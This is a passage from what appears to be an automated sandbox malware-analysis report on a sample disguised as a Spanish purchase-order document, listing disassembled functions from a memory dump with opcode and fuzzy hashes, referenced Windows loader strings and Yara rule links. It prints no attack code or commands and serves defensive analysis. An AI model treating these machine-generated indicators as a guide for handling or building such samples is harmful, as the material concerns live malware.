                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ___swprintf_l
                                                                                                              • String ID: #%u
                                                                                                              • API String ID: 48624451-232158463
                                                                                                              • Opcode ID: 8ca5c3a37b3f09eb9925be3feb1748456634fd177caf6057001219a5af05e2b7
                                                                                                              • Instruction ID: 62fddc263be2f4930670505b7b4d04241b77e759db5322ef70a33481b95ee798
                                                                                                              • Opcode Fuzzy Hash: 8ca5c3a37b3f09eb9925be3feb1748456634fd177caf6057001219a5af05e2b7
                                                                                                              • Instruction Fuzzy Hash: 5C713772A0114A9FDB01DFA8CD94BAEBBF9EF08704F154069E905A7351EB34EE01CB65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0166A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • LdrResSearchResource Enter, xrefs: 0166AA13
                                                                                                              • LdrResSearchResource Exit, xrefs: 0166AA25
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
                                                                                                              • API String ID: 0-4066393604
                                                                                                              • Opcode ID: 3c2780c835c386be9d05a80e73e75fc9809d79ff4e94c249a2e3a19faef49f46
                                                                                                              • Instruction ID: 419ced41f38c4eb2ab9248ea0a9f6d754557d353f93ec2a8d598c6dbd7134a39
                                                                                                              • Opcode Fuzzy Hash: 3c2780c835c386be9d05a80e73e75fc9809d79ff4e94c249a2e3a19faef49f46
                                                                                                              • Instruction Fuzzy Hash: 04E15871A00259AFEB228ED9CD90BBEBBBAFB48710F10452AED11E7351DB749941CB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0172A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: `$`
                                                                                                              • API String ID: 0-197956300
                                                                                                              • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                                                              • Instruction ID: 4e29ee7f84bfbc92052c0844294fcfb5752f768b5a2f471baf30659625d99f9b
                                                                                                              • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                                                              • Instruction Fuzzy Hash: 18C1DF312043529BEB24CF28C844B2BFBE6AFC4318F184A2DF696CB691D774D506CB45
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016DE6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID: Legacy$UEFI
                                                                                                              • API String ID: 2994545307-634100481
                                                                                                              • Opcode ID: 1c071373abb0416674519cb38a6c829db65906891b69d6d6309823025b3fd636
                                                                                                              • Instruction ID: e593c4aeb60843331de77cc20e02970db3f7dd33632923124af398cfe96d6f0c
                                                                                                              • Opcode Fuzzy Hash: 1c071373abb0416674519cb38a6c829db65906891b69d6d6309823025b3fd636
                                                                                                              • Instruction Fuzzy Hash: 9D616C71E007199FDB24DFA8CC81BAEBBB9FB44700F15406EE649EB291D732A941CB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 017043D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: @$MUI
                                                                                                              • API String ID: 0-17815947
                                                                                                              • Opcode ID: 14ef6a2887600ba4ad7de7a0386e86de8465ae96e0be90065811d75b6e93361a
                                                                                                              • Instruction ID: a8c23fac3388ff827f7e1a60eb402d2d5b2dc7c2b8ab19b9e74194373eb4d78f
                                                                                                              • Opcode Fuzzy Hash: 14ef6a2887600ba4ad7de7a0386e86de8465ae96e0be90065811d75b6e93361a
                                                                                                              • Instruction Fuzzy Hash: 975109B1E4021DAFDB11DFA9CC90AEEBBBDEB44754F100529E611B7290D731AE05CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016604E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • kLsE, xrefs: 01660540
                                                                                                              • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0166063D
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                                                                              • API String ID: 0-2547482624
                                                                                                              • Opcode ID: af0baceb31e8124ead2961c06198d224123a6b44f160c071299bf0386739990b
                                                                                                              • Instruction ID: bd390b3cd42371c60590eb9a6316c0a26f5e6961d1c3fb37b493d35e6b69e771
                                                                                                              • Opcode Fuzzy Hash: af0baceb31e8124ead2961c06198d224123a6b44f160c071299bf0386739990b
                                                                                                              • Instruction Fuzzy Hash: 9151CE715007429FD724DF68C9406A3BBE9AF85304F10883EFA9AC7341E770D945CB96
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0166A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • RtlpResUltimateFallbackInfo Exit, xrefs: 0166A309
                                                                                                              • RtlpResUltimateFallbackInfo Enter, xrefs: 0166A2FB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                                                                                              • API String ID: 0-2876891731
                                                                                                              • Opcode ID: 30e225d3c082b9d350dd282f83f2e7bf6bfbc1929cba76ba86b721effe45d1b6
                                                                                                              • Instruction ID: b4c4620a8e3a50f7b263fc44abc5520c449763f6bf92790c8c26f7b8ebade925
                                                                                                              • Opcode Fuzzy Hash: 30e225d3c082b9d350dd282f83f2e7bf6bfbc1929cba76ba86b721effe45d1b6
                                                                                                              • Instruction Fuzzy Hash: 4341AC31A04645DBDB11CF99CC50B6A7BB9FF85704F1440ADEA01EB391E3B5D901CB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E07C3 Relevance: 2.6, Strings: 2, Instructions: 114COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: B$B(
                                                                                                              • API String ID: 0-3725308171
                                                                                                              • Opcode ID: 0bac6fc2bec719a9a30491e827ba3ec0dcb0442fcbc064b225101dd0c4dba893
                                                                                                              • Instruction ID: 378dad6d50add666494638797282ac92476a25ade176f2530e2b3133fd8d77f9
                                                                                                              • Opcode Fuzzy Hash: 0bac6fc2bec719a9a30491e827ba3ec0dcb0442fcbc064b225101dd0c4dba893
                                                                                                              • Instruction Fuzzy Hash: 8441A0716043059BD720DF28CC45B9BFBE8FF88624F004A2EF998D7250D7709945CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID: Cleanup Group$Threadpool!
                                                                                                              • API String ID: 2994545307-4008356553
                                                                                                              • Opcode ID: 41841911a63af1651ad1b12948262a6d8529b58b1a76be3220f9c5d2d953b1cb
                                                                                                              • Instruction ID: 8f0436086d64905e9753a7bf5b3403b2ef1a444447a0d4824b1c066f0db7a162
                                                                                                              • Opcode Fuzzy Hash: 41841911a63af1651ad1b12948262a6d8529b58b1a76be3220f9c5d2d953b1cb
                                                                                                              • Instruction Fuzzy Hash: 7701DCB2640744AFD321DF64CD85B267BE8EB84B26F01897DB649C7190E374E804CB8A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0166C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: MUI
                                                                                                              • API String ID: 0-1339004836
                                                                                                              • Opcode ID: eb234b637fb34ac8db43fa5b3c154590cf6356e385e55d7f0c6a62d04ef9349a
                                                                                                              • Instruction ID: cd6d3b6613512bb3a30d3a2162523e23510deab857eb2239103dd5f9f279f98d
                                                                                                              • Opcode Fuzzy Hash: eb234b637fb34ac8db43fa5b3c154590cf6356e385e55d7f0c6a62d04ef9349a
                                                                                                              • Instruction Fuzzy Hash: F0825A75E006598BEB25CFA9CC80BEDBBB9BF48310F14816AD999AB351D730AD41CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID: 0-3916222277
                                                                                                              • Opcode ID: 6dec95c9276e4c24b16108bacbb9925496be6d5bb95a477a3900632034e0ae38
                                                                                                              • Instruction ID: b6e638da36e28227bc2274eca80e4d2f1b543e211522b22efacfb36293441647
                                                                                                              • Opcode Fuzzy Hash: 6dec95c9276e4c24b16108bacbb9925496be6d5bb95a477a3900632034e0ae38
                                                                                                              • Instruction Fuzzy Hash: 9A919371A41219AFEB21EF95CC85FAEBBB9EF14B50F100159F600AB290D774ED00CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0170E10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID: 0-3916222277
                                                                                                              • Opcode ID: 3da05e742a66d648b080f8cb0bb2fb8296cadbe153da57bd7529a0239042a35f
                                                                                                              • Instruction ID: e6a6ffb505d19e0f8ff7075d9aa20197ab5c478169c21b87e117f6ea09d371c1
                                                                                                              • Opcode Fuzzy Hash: 3da05e742a66d648b080f8cb0bb2fb8296cadbe153da57bd7529a0239042a35f
                                                                                                              • Instruction Fuzzy Hash: FD919D3290160AEFDB23ABA5DC44FAFFBBAEF45740F100429F505A7290DB749901CB94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: GlobalTags
                                                                                                              • API String ID: 0-1106856819
                                                                                                              • Opcode ID: faa57de359e1d6f866e3ec645ce35e212c08f713b9c0fbc19e64b5741e97f6fa
                                                                                                              • Instruction ID: 8131391f6357e92ae04bad2d2f2225a538f404b70fba96b45a2b194fc703efa3
                                                                                                              • Opcode Fuzzy Hash: faa57de359e1d6f866e3ec645ce35e212c08f713b9c0fbc19e64b5741e97f6fa
                                                                                                              • Instruction Fuzzy Hash: 09718275E0021ADFDF28CF9CD9916ADBBB2BF48710F15812EE505A7341E7709941CB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01704978 Relevance: 1.4, Strings: 1, Instructions: 153COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: .mui
                                                                                                              • API String ID: 0-1199573805
                                                                                                              • Opcode ID: 44e49c5319ddd95c8c7ab5b24458e22ffbd8dfed3fc115524bda9b136ccd32d9
                                                                                                              • Instruction ID: 740b0e2abf9a7038837802af02410eea575e8f2f5a96617ba0d1da12b4b3f09d
                                                                                                              • Opcode Fuzzy Hash: 44e49c5319ddd95c8c7ab5b24458e22ffbd8dfed3fc115524bda9b136ccd32d9
                                                                                                              • Instruction Fuzzy Hash: A35184B2D00729DBDB12DF99D840AAEFBF5AF08714F054169EA12B7390D7749D01CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0167E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: EXT-
                                                                                                              • API String ID: 0-1948896318
                                                                                                              • Opcode ID: 63cf2294f26d20357f5a3408df7093a8c890e7eefc61d37bd215c383469b25dc
                                                                                                              • Instruction ID: 9a91d7fca3bd2e0afaa1b7ede64ee857dff1c7e4e3d0c173f45e508cde3c6fc6
                                                                                                              • Opcode Fuzzy Hash: 63cf2294f26d20357f5a3408df7093a8c890e7eefc61d37bd215c383469b25dc
                                                                                                              • Instruction Fuzzy Hash: 7341B1725083129BD710DAB9CC40B6BB7E9EF88714F440A6DF985D7240E775D908C797
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016DC730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: BinaryHash
                                                                                                              • API String ID: 0-2202222882
                                                                                                              • Opcode ID: 3c75df982cea32b91673467f5a01c53be513a9eb4bb260b0e03003dad7831bfe
                                                                                                              • Instruction ID: 1f36793660190db00fa9ab3ed233290f31010d76f23dff486c928450da355460
                                                                                                              • Opcode Fuzzy Hash: 3c75df982cea32b91673467f5a01c53be513a9eb4bb260b0e03003dad7831bfe
                                                                                                              • Instruction Fuzzy Hash: 584133B1D0012DABDB219A50CC85FDEB77DAB45714F0145EDEB08AB140DB709E89CF98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E892A Relevance: 1.3, Strings: 1, Instructions: 47COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 016E895E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
                                                                                                              • API String ID: 0-702105204
                                                                                                              • Opcode ID: a285e8d0d4c558639bdf1ca32b64c2ad52e42a825d8c1d940c2c6891cc4cb21c
                                                                                                              • Instruction ID: 7b8ae313102ff6d32a219282d5b3976da174388f422592f23b7466ba551da23c
                                                                                                              • Opcode Fuzzy Hash: a285e8d0d4c558639bdf1ca32b64c2ad52e42a825d8c1d940c2c6891cc4cb21c
                                                                                                              • Instruction Fuzzy Hash: CF01F772A063019FE7355A5D9C8CA5A7BEAEF812A4B04026CF64207251CBB1A841C796
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01702000 Relevance: .8, Instructions: 757COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: a888eb6cfece5ff90148aba03054ed52ad097845610d75c858f970d1e1230634
                                                                                                              • Instruction ID: 4cad19c1e0b594bdf87fdb62d3bd0f2a9eb59437bec8cb481d7cba55a1d00d66
                                                                                                              • Opcode Fuzzy Hash: a888eb6cfece5ff90148aba03054ed52ad097845610d75c858f970d1e1230634
                                                                                                              • Instruction Fuzzy Hash: 3E42D436608341DBD726CF68C894A6BFBE5BF88300F18092DFA86972D2D771D945CB52
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016F8158 Relevance: .6, Instructions: 617COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5eee0b71f9305214c85333b8a83b6042135ea7d2c3ad0920e1f4b6ad48255b75
                                                                                                              • Instruction ID: dfe1bbfc04850c3634d4718bbbca68ec50bd8b07833086544d2737a09ad5733f
                                                                                                              • Opcode Fuzzy Hash: 5eee0b71f9305214c85333b8a83b6042135ea7d2c3ad0920e1f4b6ad48255b75
                                                                                                              • Instruction Fuzzy Hash: 75423C75A102198FEB24CF69CC41BADBBFABF48300F15819DEA49AB352D7349985CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0170A118 Relevance: .6, Instructions: 591COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: a1b0341dc1e443757d6bdf785c64842ec63b3518c8e21dc23480e92db706c6fa
                                                                                                              • Instruction ID: 2cae669fd01977843bd598b42bb27d6b9ef7eda311c0ac465cdfad58f948dfce
                                                                                                              • Opcode Fuzzy Hash: a1b0341dc1e443757d6bdf785c64842ec63b3518c8e21dc23480e92db706c6fa
                                                                                                              • Instruction Fuzzy Hash: 2122AB74204761CBEB26CF2DC494772FBF1AF44340F18859AE9868B2C6E775E492CB60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016F892B Relevance: .4, Instructions: 386COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 596289f82f7a9604b637a4d788fd162959a41d3d159063106924ee0f94d697e4
                                                                                                              • Instruction ID: 8a0c711b05e9f16a9fcebce7b6a6f0120614c14b3f0e76fa51dae851ed70f51c
                                                                                                              • Opcode Fuzzy Hash: 596289f82f7a9604b637a4d788fd162959a41d3d159063106924ee0f94d697e4
                                                                                                              • Instruction Fuzzy Hash: 43D1C171E0060A9BDF15CF69CC41BBEB7BAFF88304F1881ADDA55A7241D735E9068B60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016665D0 Relevance: .4, Instructions: 383COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: a3845eedb46c6a2477e8827729a7306f4bf5a8c196507ec3b52824e3dbc55e26
                                                                                                              • Instruction ID: b7fc8ce0a1d645c83b7564284c278ea68f0da208779aedab464dbd833b2f9a68
                                                                                                              • Opcode Fuzzy Hash: a3845eedb46c6a2477e8827729a7306f4bf5a8c196507ec3b52824e3dbc55e26
                                                                                                              • Instruction Fuzzy Hash: 99E1B071608342CFC715CF28D890A6ABBE5FF89314F058A6DF99987351EB31E905CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01658397 Relevance: .4, Instructions: 380COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c323ca52d90309f4885a50e5a479dda8c4b8c5627f21679e097419dca867dd73
                                                                                                              • Instruction ID: 67fd2c476348c0f3dfe7b0ca7d799ef95494b40284b45bee34877190f43cbf34
                                                                                                              • Opcode Fuzzy Hash: c323ca52d90309f4885a50e5a479dda8c4b8c5627f21679e097419dca867dd73
                                                                                                              • Instruction Fuzzy Hash: 39D1E071A00216DBDB54DF2ACC90ABEB7AAFF54304F05462DED12DB680EB30E951CB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E8243 Relevance: .3, Instructions: 322COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                                                                              • Instruction ID: 1b1706d39c4bc6e4a1ff2d3eb610d545419a4d06ec8e907b4dbe3e53c2b2e9ee
                                                                                                              • Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                                                                                              • Instruction Fuzzy Hash: 2BB17F74A01605AFDB24DB99CD48AABBBFEFF84304F10856DAA0297790DB34E905CB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01670535 Relevance: .3, Instructions: 300COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                                                                                              • Instruction ID: 40140285da8296e0a32631296bc5b8231012e67292c4804856f3aa9952674711
                                                                                                              • Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                                                                                              • Instruction Fuzzy Hash: D2B10331704646AFEB21DB68CD54BBEBBF6EF85600F140159E652DB381DB30E941CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016683C0 Relevance: .3, Instructions: 281COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 69a3d7afe3a84ca2f9802be5dc9c8db7bd9449a645c64b44e5efd48bba761b02
                                                                                                              • Instruction ID: b0801d1734b8a77da8bc8761ed465db887f44f7ae920b4a1b5f2f65c379d71c9
                                                                                                              • Opcode Fuzzy Hash: 69a3d7afe3a84ca2f9802be5dc9c8db7bd9449a645c64b44e5efd48bba761b02
